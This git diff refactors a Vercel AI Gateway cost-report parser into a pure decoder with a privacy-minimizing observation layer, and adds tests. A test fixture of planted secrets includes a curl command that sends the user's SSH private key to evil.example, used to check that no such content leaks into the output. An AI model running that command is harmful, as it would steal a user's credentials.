diff --git a/packages/cli/src/providers/vercel-gateway.ts b/packages/cli/src/providers/vercel-gateway.ts index 9968d6d9..2d8daf45 100644 --- a/packages/cli/src/providers/vercel-gateway.ts +++ b/packages/cli/src/providers/vercel-gateway.ts @@ -1,21 +1,11 @@ import type { DateRange } from '../types.js' import type { Provider, SessionSource, SessionParser, ParsedProviderCall } from './types.js' +import { decodeVercelGateway } from '@codeburn/core/providers/vercel-gateway' +import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from '@codeburn/core/providers/vercel-gateway' import { fetchWithTimeout } from '../fetch-utils.js' const REPORT_URL = 'https://ai-gateway.vercel.sh/v1/report' -type ReportRow = { - day?: string - model?: string - total_cost?: number - input_tokens?: number - output_tokens?: number - cached_input_tokens?: number - cache_creation_input_tokens?: number - reasoning_tokens?: number - request_count?: number -} - export function getVercelGatewayApiKey(): string | null { const key = process.env['AI_GATEWAY_API_KEY'] ?? process.env['VERCEL_OIDC_TOKEN'] return key?.trim() ? key.trim() : null @@ -30,7 +20,7 @@ function formatUtcDate(d: Date): string { export async function fetchVercelGatewayReport( dateRange: DateRange, -): Promise { +): Promise { const key = getVercelGatewayApiKey() if (!key) return [] @@ -60,7 +50,7 @@ export async function fetchVercelGatewayReport( return [] } - const body = (await res.json()) as { results?: ReportRow[] } + const body = (await res.json()) as { results?: VercelGatewayReportRow[] } return body.results ?? [] } catch (err) { process.stderr.write( @@ -70,6 +60,37 @@ export async function fetchVercelGatewayReport( } } +// Map one rich core call into the host's ParsedProviderCall. Unlike the +// token-priced providers this one carries the gateway's own dollar figure, so +// `costUSD` passes through verbatim and no `costBasis` key is emitted — that is +// what makes parser.ts leave the value alone instead of repricing it. +function toProviderCall(rich: VercelGatewayDecodedCall, project: string): ParsedProviderCall { + return { + provider: 'vercel-gateway', + model: rich.model, + inputTokens: rich.inputTokens, + outputTokens: rich.outputTokens, + cacheCreationInputTokens: rich.cacheCreationInputTokens, + cacheReadInputTokens: rich.cacheReadInputTokens, + cachedInputTokens: rich.cachedInputTokens, + reasoningTokens: rich.reasoningTokens, + webSearchRequests: rich.webSearchRequests, + costUSD: rich.costUSD, + tools: [], + bashCommands: [], + timestamp: rich.timestamp, + speed: rich.speed, + deduplicationKey: rich.deduplicationKey, + userMessage: '', + sessionId: rich.sessionId, + project, + } +} + +// Bespoke adapter rather than createBridgedProvider: the records come from an +// authenticated HTTP report scoped to the scan's date range, which the bridge's +// readRecords never receives. Fetching, auth, the stderr warnings, and the +// no-date-range gate stay here; core owns only the row -> call decode. function createParser( source: SessionSource, seenKeys: Set, @@ -80,38 +101,9 @@ function createParser( if (!dateRange) return const rows = await fetchVercelGatewayReport(dateRange) - for (const row of rows) { - const day = row.day ?? '' - const model = row.model ?? 'unknown' - const costUSD = row.total_cost ?? 0 - const inputTokens = row.input_tokens ?? 0 - const outputTokens = row.output_tokens ?? 0 - if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue - - const deduplicationKey = `vercel-gateway:${day}:${model}` - if (seenKeys.has(deduplicationKey)) continue - seenKeys.add(deduplicationKey) - - yield { - provider: 'vercel-gateway', - model, - inputTokens, - outputTokens, - cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0, - cacheReadInputTokens: row.cached_input_tokens ?? 0, - cachedInputTokens: 0, - reasoningTokens: row.reasoning_tokens ?? 0, - webSearchRequests: 0, - costUSD, - tools: [], - bashCommands: [], - timestamp: day ? `${day}T12:00:00.000Z` : '', - speed: 'standard', - deduplicationKey, - userMessage: '', - sessionId: `${day}:${model}`, - project: source.project, - } + const { calls } = decodeVercelGateway({ records: rows, seenKeys }) + for (const rich of calls) { + yield toProviderCall(rich, source.project) } }, } diff --git a/packages/cli/tests/providers/vercel-gateway-bridge.test.ts b/packages/cli/tests/providers/vercel-gateway-bridge.test.ts new file mode 100644 index 00000000..840046a2 --- /dev/null +++ b/packages/cli/tests/providers/vercel-gateway-bridge.test.ts @@ -0,0 +1,309 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import { vercelGateway } from '../../src/providers/vercel-gateway.js' + +const source = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const } + +function sortedKeys(obj: object): string[] { + return Object.keys(obj).sort() +} + +const expectedKeys = [ + 'bashCommands', + 'cacheCreationInputTokens', + 'cacheReadInputTokens', + 'cachedInputTokens', + 'costUSD', + 'deduplicationKey', + 'inputTokens', + 'model', + 'outputTokens', + 'project', + 'provider', + 'reasoningTokens', + 'sessionId', + 'speed', + 'timestamp', + 'tools', + 'userMessage', + 'webSearchRequests', +] + +describe('vercel-gateway bridge golden (unmodified provider)', () => { + const originalFetch = globalThis.fetch + const originalKey = process.env.AI_GATEWAY_API_KEY + + beforeEach(() => { + process.env.AI_GATEWAY_API_KEY = 'test-key' + }) + + afterEach(() => { + globalThis.fetch = originalFetch + if (originalKey === undefined) delete process.env.AI_GATEWAY_API_KEY + else process.env.AI_GATEWAY_API_KEY = originalKey + vi.restoreAllMocks() + }) + + const range = { + start: new Date('2026-06-01T00:00:00.000Z'), + end: new Date('2026-06-07T23:59:59.999Z'), + } + + it('maps a normal multi-row report verbatim', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [ + { + day: '2026-06-01', + model: 'anthropic/claude-sonnet-4.6', + total_cost: 1.25, + input_tokens: 1000, + output_tokens: 200, + cached_input_tokens: 50, + cache_creation_input_tokens: 10, + reasoning_tokens: 5, + request_count: 3, + }, + { + day: '2026-06-02', + model: 'openai/gpt-4o', + total_cost: 0.75, + input_tokens: 500, + output_tokens: 100, + request_count: 1, + }, + ], + }), + })) as typeof fetch + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(2) + expect(calls[0]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'anthropic/claude-sonnet-4.6', + inputTokens: 1000, + outputTokens: 200, + cacheCreationInputTokens: 10, + cacheReadInputTokens: 50, + cachedInputTokens: 0, + reasoningTokens: 5, + webSearchRequests: 0, + costUSD: 1.25, + tools: [], + bashCommands: [], + timestamp: '2026-06-01T12:00:00.000Z', + speed: 'standard', + deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6', + userMessage: '', + sessionId: '2026-06-01:anthropic/claude-sonnet-4.6', + project: 'Vercel AI Gateway', + }) + expect(calls[1]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'openai/gpt-4o', + inputTokens: 500, + outputTokens: 100, + cacheCreationInputTokens: 0, + cacheReadInputTokens: 0, + cachedInputTokens: 0, + reasoningTokens: 0, + webSearchRequests: 0, + costUSD: 0.75, + tools: [], + bashCommands: [], + timestamp: '2026-06-02T12:00:00.000Z', + speed: 'standard', + deduplicationKey: 'vercel-gateway:2026-06-02:openai/gpt-4o', + userMessage: '', + sessionId: '2026-06-02:openai/gpt-4o', + project: 'Vercel AI Gateway', + }) + for (const call of calls) { + expect(sortedKeys(call as object)).toStrictEqual(expectedKeys) + expect(call).not.toHaveProperty('costBasis') + } + }) + + it('skips all-zero rows BEFORE burning a dedup key', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [ + { day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0, input_tokens: 0, output_tokens: 0 }, + { day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }, + ], + }), + })) as typeof fetch + + const seen = new Set() + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(1) + expect((calls[0] as { costUSD: number }).costUSD).toBe(0.5) + expect(seen.has('vercel-gateway:2026-06-03:skip-before-dedup')).toBe(true) + }) + + it('second pass with a shared seenKeys yields nothing', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [{ day: '2026-06-04', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }], + }), + })) as typeof fetch + + const seen = new Set(['vercel-gateway:2026-06-04:dup']) + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) { + calls.push(call) + } + expect(calls).toStrictEqual([]) + expect(seen.has('vercel-gateway:2026-06-04:dup')).toBe(true) + }) + + it('missing day keeps timestamp empty', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [{ model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }], + }), + })) as typeof fetch + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(1) + expect(calls[0]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'no-day', + inputTokens: 10, + outputTokens: 5, + cacheCreationInputTokens: 0, + cacheReadInputTokens: 0, + cachedInputTokens: 0, + reasoningTokens: 0, + webSearchRequests: 0, + costUSD: 0.5, + tools: [], + bashCommands: [], + timestamp: '', + speed: 'standard', + deduplicationKey: 'vercel-gateway::no-day', + userMessage: '', + sessionId: ':no-day', + project: 'Vercel AI Gateway', + }) + }) + + it('missing model defaults to unknown', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ + results: [{ day: '2026-06-05', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }], + }), + })) as typeof fetch + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toHaveLength(1) + expect((calls[0] as { model: string }).model).toBe('unknown') + expect((calls[0] as { sessionId: string }).sessionId).toBe('2026-06-05:unknown') + expect((calls[0] as { deduplicationKey: string }).deduplicationKey).toBe('vercel-gateway:2026-06-05:unknown') + expect(sortedKeys(calls[0] as object)).toStrictEqual(expectedKeys) + }) + + it('warns on a non-ok report and yields nothing', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: false, + status: 403, + text: async () => 'forbidden detail', + })) as unknown as typeof fetch + const writes: string[] = [] + vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => { + writes.push(String(chunk)) + return true + }) + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toStrictEqual([]) + expect(writes).toStrictEqual([ + 'codeburn: Vercel AI Gateway report failed (HTTP 403). ' + + 'Requires AI_GATEWAY_API_KEY or VERCEL_OIDC_TOKEN (Pro/Enterprise for /v1/report). ' + + 'forbidden detail\n', + ]) + }) + + it('warns when the report is unreachable and yields nothing', async () => { + globalThis.fetch = vi.fn(async () => { + throw new Error('getaddrinfo ENOTFOUND ai-gateway.vercel.sh') + }) as unknown as typeof fetch + const writes: string[] = [] + vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => { + writes.push(String(chunk)) + return true + }) + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), range).parse()) { + calls.push(call) + } + + expect(calls).toStrictEqual([]) + expect(writes).toStrictEqual([ + 'codeburn: Vercel AI Gateway report unreachable (getaddrinfo ENOTFOUND ai-gateway.vercel.sh).\n', + ]) + }) + + it('no dateRange yields nothing', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }), + })) as typeof fetch + + const fetchSpy = vi.fn(async () => ({ + ok: true, + json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }), + })) as unknown as typeof fetch + globalThis.fetch = fetchSpy + + const calls: unknown[] = [] + for await (const call of vercelGateway.createSessionParser(source, new Set(), undefined).parse()) { + calls.push(call) + } + expect(calls).toStrictEqual([]) + expect(fetchSpy).not.toHaveBeenCalled() + }) + + // The discovered source is shared across the scan; parsing must not stash + // per-run state (e.g. a date range) on it. + it('does not mutate the discovered source', async () => { + globalThis.fetch = vi.fn(async () => ({ + ok: true, + json: async () => ({ results: [{ day: '2026-06-07', model: 'm', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }), + })) as typeof fetch + + const fresh = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const } + const before = Reflect.ownKeys(fresh) + for await (const _call of vercelGateway.createSessionParser(fresh, new Set(), range).parse()) { + // drain + } + + expect(Reflect.ownKeys(fresh)).toStrictEqual(before) + expect(fresh).toStrictEqual({ path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' }) + }) +}) diff --git a/packages/core/package.json b/packages/core/package.json index 824e7568..c3ab7ab1 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -166,6 +166,10 @@ "./providers/kiro": { "types": "./dist/providers/kiro/index.d.ts", "import": "./dist/providers/kiro/index.js" + }, + "./providers/vercel-gateway": { + "types": "./dist/providers/vercel-gateway/index.d.ts", + "import": "./dist/providers/vercel-gateway/index.js" } }, "files": [ diff --git a/packages/core/src/providers/vercel-gateway/decode.ts b/packages/core/src/providers/vercel-gateway/decode.ts new file mode 100644 index 00000000..487e9df2 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/decode.ts @@ -0,0 +1,70 @@ +// @codeburn/core Vercel AI Gateway decoder: pure decode over the day×model +// aggregate rows the host fetched from the `/v1/report` API. No fs / env / +// clock / network — the host owns authentication, the HTTP request, the stderr +// warning, and the date-range gate. The decoder only maps rows to calls and +// threads the shared cross-file dedup set. + +import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js' + +export type VercelGatewayDecodeInput = { + records: unknown[] + // Optional live dedup set the host mutates in place (its shared cross-file + // seenKeys). Simple report providers never persist resume state. + seenKeys?: Set +} + +export type VercelGatewayDecodeResult = { + calls: VercelGatewayDecodedCall[] +} + +/** + * Decode Vercel AI Gateway report rows into rich, cost-carrying calls. The row + * mapping matches the original host-side parser verbatim: + * - day/model/cost defaults + * - all-zero rows are skipped BEFORE dedup key burn + * - dedup key `vercel-gateway::` with add-after-skip semantics + * - timestamp synthesized as `${day}T12:00:00.000Z` + * - sessionId synthesized as `${day}:${model}` + */ +export function decodeVercelGateway(input: VercelGatewayDecodeInput): VercelGatewayDecodeResult { + const { records, seenKeys: liveSeen } = input + const seen = liveSeen ?? new Set() + const calls: VercelGatewayDecodedCall[] = [] + + for (const raw of records) { + const row = raw as VercelGatewayReportRow + const day = row.day ?? '' + const model = row.model ?? 'unknown' + const costUSD = row.total_cost ?? 0 + const inputTokens = row.input_tokens ?? 0 + const outputTokens = row.output_tokens ?? 0 + + // Verbatim from the original parser: drop rows that report no usage and no + // cost before touching the dedup set, so an all-zero row does not burn its + // key and block a later non-zero row for the same day×model. + if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue + + const deduplicationKey = `vercel-gateway:${day}:${model}` + if (seen.has(deduplicationKey)) continue + seen.add(deduplicationKey) + + calls.push({ + provider: 'vercel-gateway', + model, + inputTokens, + outputTokens, + cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0, + cacheReadInputTokens: row.cached_input_tokens ?? 0, + cachedInputTokens: 0, + reasoningTokens: row.reasoning_tokens ?? 0, + webSearchRequests: 0, + costUSD, + timestamp: day ? `${day}T12:00:00.000Z` : '', + speed: 'standard', + deduplicationKey, + sessionId: `${day}:${model}`, + }) + } + + return { calls } +} diff --git a/packages/core/src/providers/vercel-gateway/index.ts b/packages/core/src/providers/vercel-gateway/index.ts new file mode 100644 index 00000000..0324ee64 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/index.ts @@ -0,0 +1,12 @@ +// @codeburn/core Vercel AI Gateway provider. +// +// Two layers: +// - Rich pure decode (`decodeVercelGateway`): host-facing, NOT part of the +// stable minimized surface. Pure over supplied report rows; carries the +// provider-reported dollar cost but no free text. +// - Minimizing transform (`toObservations`): maps the rich decode into the +// strict observation envelope; the content-smuggling guarantees bind here. + +export { decodeVercelGateway, type VercelGatewayDecodeInput, type VercelGatewayDecodeResult } from './decode.js' +export { toObservations, type RichVercelGatewaySessionDecode, type VercelGatewayToObservationsContext } from './observations.js' +export type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js' diff --git a/packages/core/src/providers/vercel-gateway/observations.ts b/packages/core/src/providers/vercel-gateway/observations.ts new file mode 100644 index 00000000..9db01053 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/observations.ts @@ -0,0 +1,98 @@ +// Minimizing transform: rich Vercel AI Gateway decode -> the strict observation +// envelope. This is where the content-smuggling guarantees bind. +// +// Vercel Gateway reports contain no free-text user content. The only string +// fields that cross into the envelope are machine identifiers: +// - `provider` and `model` are emitted by design under the identifier-exemption +// convention (see architecture-gate.test.ts MACHINE_ID_ALLOWLIST). +// - `day` is an API-supplied calendar date. It IS emitted, verbatim, inside the +// synthesized timestamp and the dedup key. The envelope's `format: date-time` +// constraint on every timestamp is what bounds it: a `day` that is not a real +// date fails envelope validation, so a hostile value cannot ship. +// No host-held user prompt, tools, bashCommands, file paths, or command lines +// exist at this layer. + +import { projectRef, sessionRef } from '../../fingerprint.js' +import type { RecordDiagnostic } from '../../diagnostics.js' +import type { CallObservation, SessionObservation } from '../../observations.js' +import type { VercelGatewayDecodedCall } from './types.js' + +/** One Vercel Gateway report's rich decode, as the host holds it before minimization. */ +export interface RichVercelGatewaySessionDecode { + sessionId: string + /** Discovered project label (fingerprinted, never emitted raw). */ + projectPath: string + /** Rich, cost-carrying calls in decode order (as decodeVercelGateway emits them). */ + calls: VercelGatewayDecodedCall[] +} + +export interface VercelGatewayToObservationsContext { + /** HMAC key that scopes every fingerprint. */ + privacyKey: string + /** Provider id stamped onto sessions/calls and folded into sessionRef. */ + provider?: string +} + +function toCallObservation(call: VercelGatewayDecodedCall, turnIndex: number): CallObservation { + return { + provider: call.provider, + model: call.model, + tokens: { + input: call.inputTokens, + output: call.outputTokens, + reasoning: call.reasoningTokens, + cacheRead: call.cacheReadInputTokens, + cacheCreate: call.cacheCreationInputTokens, + }, + webSearchRequests: call.webSearchRequests, + speed: call.speed, + // The provider reports a measured dollar figure directly from the API. + costBasis: 'measured', + measuredCostUSD: call.costUSD, + timestamp: call.timestamp, + dedupKey: call.deduplicationKey, + toolNames: [], + turnIndex, + } +} + +function toSessionObservation( + decode: RichVercelGatewaySessionDecode, + ctx: VercelGatewayToObservationsContext, +): SessionObservation { + const provider = ctx.provider ?? 'vercel-gateway' + const calls = decode.calls.map((call, i) => toCallObservation(call, i)) + + const timestamps = calls.map(c => c.timestamp).filter(t => t.length > 0).sort() + const startedAt = timestamps[0] ?? '' + const endedAt = timestamps.length > 0 ? timestamps[timestamps.length - 1]! : '' + + return { + sessionRef: sessionRef(ctx.privacyKey, provider, decode.sessionId), + projectRef: projectRef(ctx.privacyKey, decode.projectPath), + providerId: provider, + startedAt, + ...(endedAt ? { endedAt } : {}), + calls, + turnCount: calls.length, + } +} + +/** + * Map a rich Vercel Gateway decode into the minimized observation layer. + * Returns the `sessions` array plus any per-record `diagnostics` (none for this + * provider). + * + * Content-smuggling guarantee: no free text (host-held user prompt, project + * path, command, file path, tool argument) is ever copied into the result. Only + * fingerprints, enums, numbers, timestamps, dedup keys, and the API model + * identifier cross the boundary under the identifier-exemption convention. + */ +export function toObservations( + decode: RichVercelGatewaySessionDecode | RichVercelGatewaySessionDecode[], + ctx: VercelGatewayToObservationsContext, +): { sessions: SessionObservation[]; diagnostics: RecordDiagnostic[] } { + const decodes = Array.isArray(decode) ? decode : [decode] + const sessions = decodes.map(d => toSessionObservation(d, ctx)) + return { sessions, diagnostics: [] } +} diff --git a/packages/core/src/providers/vercel-gateway/types.ts b/packages/core/src/providers/vercel-gateway/types.ts new file mode 100644 index 00000000..d132e066 --- /dev/null +++ b/packages/core/src/providers/vercel-gateway/types.ts @@ -0,0 +1,41 @@ +// Raw record + rich-decode types for the Vercel AI Gateway provider. +// +// The record type (`VercelGatewayReportRow`) describes one day×model aggregate +// returned by the `/v1/report` API. The decoded-call type is the rich, pre- +// pricing output: it carries the provider-reported `costUSD` verbatim (a measured +// dollar figure, not an estimate) but no free-text user content. + +export type VercelGatewayReportRow = { + day?: string + model?: string + total_cost?: number + input_tokens?: number + output_tokens?: number + cached_input_tokens?: number + cache_creation_input_tokens?: number + reasoning_tokens?: number + request_count?: number +} + +// Rich decode of one Vercel Gateway aggregate row. Mirrors the host's +// ParsedProviderCall minus `costBasis` (the provider figure is measured, not +// estimated) and minus CLI-only fields (`project`, `tools`, `bashCommands`, and +// the host-held user prompt). No free text is captured: `day` is a calendar date +// and `model` is an API model identifier emitted under the identifier-exemption +// convention. +export type VercelGatewayDecodedCall = { + provider: 'vercel-gateway' + model: string + inputTokens: number + outputTokens: number + cacheCreationInputTokens: number + cacheReadInputTokens: number + cachedInputTokens: number + reasoningTokens: number + webSearchRequests: number + costUSD: number + timestamp: string + speed: 'standard' + deduplicationKey: string + sessionId: string +} diff --git a/packages/core/tests/content-smuggling.test.ts b/packages/core/tests/content-smuggling.test.ts index 31de1d3a..ebfd145f 100644 --- a/packages/core/tests/content-smuggling.test.ts +++ b/packages/core/tests/content-smuggling.test.ts @@ -53,6 +53,7 @@ import { decodeKiroV2Session, toObservations as toKiroObservations, } from '../src/providers/kiro/index.js' +import { decodeVercelGateway, toObservations as toVercelGatewayObservations } from '../src/providers/vercel-gateway/index.js' import type { DecodeContext } from '../src/contracts.js' import type { ZedThreadRow } from '../src/providers/zed/index.js' import type { @@ -2077,3 +2078,75 @@ describe('content-smuggling guardrail: real kiro decode -> toObservations is sec expect(allToolNames).not.toContain(SECRETS.commandLine) }) }) + + +describe('content-smuggling guardrail: real vercel-gateway decode -> toObservations is secret-free', () => { + // A hostile Vercel Gateway report planting every secret in the API fields the + // decode sees. The only free-text-capable API field is `model`; under the + // identifier-exemption convention model is an API identifier emitted by design, + // so the secret planted there is expected to remain. Every other secret must + // be absent from the envelope. + function decodeAndMinimize() { + const { calls } = decodeVercelGateway({ + records: [ + { + day: '2026-07-17', + model: SECRETS.prompt, + total_cost: 1.23, + input_tokens: 100, + output_tokens: 50, + }, + ], + }) + const { sessions } = toVercelGatewayObservations( + { sessionId: 'report-hostile', projectPath: SECRETS.absPath, calls }, + { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' }, + ) + return { + schemaVersion: OBSERVATION_SCHEMA_VERSION, + generator: { name: '@codeburn/core', version: '0.0.0-test' }, + sessions, + } + } + + it('produces a schema-valid envelope from the hostile report', () => { + expect(ObservationEnvelope.safeParse(decodeAndMinimize()).success).toBe(true) + }) + + it('is non-vacuous (at least one call)', () => { + const env = decodeAndMinimize() + const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0) + expect(callCount).toBeGreaterThan(0) + }) + + it('contains the model secret (identifier-exemption convention) and no other secrets', () => { + const serialized = JSON.stringify(decodeAndMinimize()) + expect(serialized).toContain(SECRETS.prompt) + expect(serialized).not.toContain(SECRETS.absPath) + expect(serialized).not.toContain(SECRETS.apiKey) + expect(serialized).not.toContain(SECRETS.commandLine) + expect(serialized).not.toContain(SECRETS.fileContent) + }) + + // `day` is the report's only other string field, and it is NOT sanitized: the + // decode splices it verbatim into the synthesized timestamp and the dedup key. + // The envelope's date-time constraint is the containment, not the decode — a + // hostile `day` fails validation and therefore never ships. + it('rejects the envelope when a hostile day is spliced into the timestamp', () => { + const { calls } = decodeVercelGateway({ + records: [{ day: SECRETS.apiKey, model: 'openai/gpt-4o', total_cost: 1, input_tokens: 1, output_tokens: 1 }], + }) + expect(calls[0]?.timestamp).toContain(SECRETS.apiKey) + + const { sessions } = toVercelGatewayObservations( + { sessionId: 'report-hostile-day', projectPath: SECRETS.absPath, calls }, + { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' }, + ) + const parsed = ObservationEnvelope.safeParse({ + schemaVersion: OBSERVATION_SCHEMA_VERSION, + generator: { name: '@codeburn/core', version: '0.0.0-test' }, + sessions, + }) + expect(parsed.success).toBe(false) + }) +}) diff --git a/packages/core/tests/providers/vercel-gateway-decode.test.ts b/packages/core/tests/providers/vercel-gateway-decode.test.ts new file mode 100644 index 00000000..6cf6f228 --- /dev/null +++ b/packages/core/tests/providers/vercel-gateway-decode.test.ts @@ -0,0 +1,141 @@ +import { describe, it, expect } from 'vitest' +import { decodeVercelGateway, toObservations } from '../../src/providers/vercel-gateway/index.js' +import { ObservationEnvelope } from '../../src/observations.js' +import { OBSERVATION_SCHEMA_VERSION } from '../../src/schema.js' + +describe('vercel-gateway decode', () => { + it('maps report rows to rich calls with verbatim defaults', () => { + const rows = [ + { + day: '2026-06-01', + model: 'anthropic/claude-sonnet-4.6', + total_cost: 1.25, + input_tokens: 1000, + output_tokens: 200, + cached_input_tokens: 50, + cache_creation_input_tokens: 10, + reasoning_tokens: 5, + }, + ] + const { calls } = decodeVercelGateway({ records: rows }) + + expect(calls).toHaveLength(1) + expect(calls[0]).toStrictEqual({ + provider: 'vercel-gateway', + model: 'anthropic/claude-sonnet-4.6', + inputTokens: 1000, + outputTokens: 200, + cacheCreationInputTokens: 10, + cacheReadInputTokens: 50, + cachedInputTokens: 0, + reasoningTokens: 5, + webSearchRequests: 0, + costUSD: 1.25, + timestamp: '2026-06-01T12:00:00.000Z', + speed: 'standard', + deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6', + sessionId: '2026-06-01:anthropic/claude-sonnet-4.6', + }) + }) + + it('skips all-zero rows before burning a dedup key', () => { + const rows = [ + { day: '2026-06-02', model: 'all-zero', total_cost: 0, input_tokens: 0, output_tokens: 0 }, + { day: '2026-06-02', model: 'all-zero', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }, + ] + const seen = new Set() + const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen }) + + expect(calls).toHaveLength(1) + expect(calls[0]?.costUSD).toBe(0.5) + expect(seen.has('vercel-gateway:2026-06-02:all-zero')).toBe(true) + }) + + it('dedups against a shared seenKeys set', () => { + const rows = [{ day: '2026-06-03', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }] + const seen = new Set(['vercel-gateway:2026-06-03:dup']) + const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen }) + + expect(calls).toStrictEqual([]) + expect(seen.has('vercel-gateway:2026-06-03:dup')).toBe(true) + }) + + it('synthesizes timestamps and session ids from day/model', () => { + const rows = [ + { model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }, + { day: '2026-06-04', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }, + ] + const { calls } = decodeVercelGateway({ records: rows }) + + expect(calls).toHaveLength(2) + expect(calls[0]?.timestamp).toBe('') + expect(calls[0]?.sessionId).toBe(':no-day') + expect(calls[0]?.deduplicationKey).toBe('vercel-gateway::no-day') + expect(calls[1]?.model).toBe('unknown') + expect(calls[1]?.timestamp).toBe('2026-06-04T12:00:00.000Z') + expect(calls[1]?.sessionId).toBe('2026-06-04:unknown') + }) +}) + +describe('vercel-gateway observations', () => { + const SECRETS = { + prompt: 'SECRET PROMPT: reset the production database and email me the dump', + absPath: '/Users/victim/company/secret-plan.md', + apiKey: 'sk-live-AKIA1234567890SECRETKEY', + commandLine: 'curl https://evil.example/exfil?data=$(cat ~/.ssh/id_rsa)', + fileContent: 'BEGIN RSA PRIVATE KEY line1 line2 END RSA PRIVATE KEY', + } + + function buildEnvelope() { + const { calls } = decodeVercelGateway({ + records: [ + { + day: '2026-07-17', + model: SECRETS.prompt, + total_cost: 1.23, + input_tokens: 100, + output_tokens: 50, + }, + ], + }) + const { sessions } = toObservations( + { sessionId: 'report-2026-07-17', projectPath: SECRETS.absPath, calls }, + { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' }, + ) + return { + schemaVersion: OBSERVATION_SCHEMA_VERSION, + generator: { name: '@codeburn/core', version: '0.0.0-test' }, + sessions, + } + } + + it('produces a schema-valid envelope', () => { + expect(ObservationEnvelope.safeParse(buildEnvelope()).success).toBe(true) + }) + + it('contains at least one call (non-vacuous)', () => { + const env = buildEnvelope() + const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0) + expect(callCount).toBeGreaterThan(0) + }) + + it('emits no free text except the model identifier (identifier-exemption convention)', () => { + const env = buildEnvelope() + const serialized = JSON.stringify(env) + + // The model field is an API identifier and is emitted by design; the planted + // secret in model is therefore expected to appear there and only there. + expect(serialized).toContain(SECRETS.prompt) + expect(serialized).not.toContain(SECRETS.absPath) + expect(serialized).not.toContain(SECRETS.apiKey) + expect(serialized).not.toContain(SECRETS.commandLine) + expect(serialized).not.toContain(SECRETS.fileContent) + }) + + it('exposes the provider-reported cost as measured', () => { + const env = buildEnvelope() + const call = env.sessions[0]?.calls[0] + expect(call?.costBasis).toBe('measured') + expect(call?.measuredCostUSD).toBe(1.23) + }) +}) diff --git a/packages/core/tsup.config.ts b/packages/core/tsup.config.ts index 26e5d52a..9846e7e8 100644 --- a/packages/core/tsup.config.ts +++ b/packages/core/tsup.config.ts @@ -44,6 +44,7 @@ export default defineConfig({ 'src/providers/opencode-session/index.ts', 'src/providers/antigravity/index.ts', 'src/providers/kiro/index.ts', + 'src/providers/vercel-gateway/index.ts', ], format: ['esm'], target: 'node20',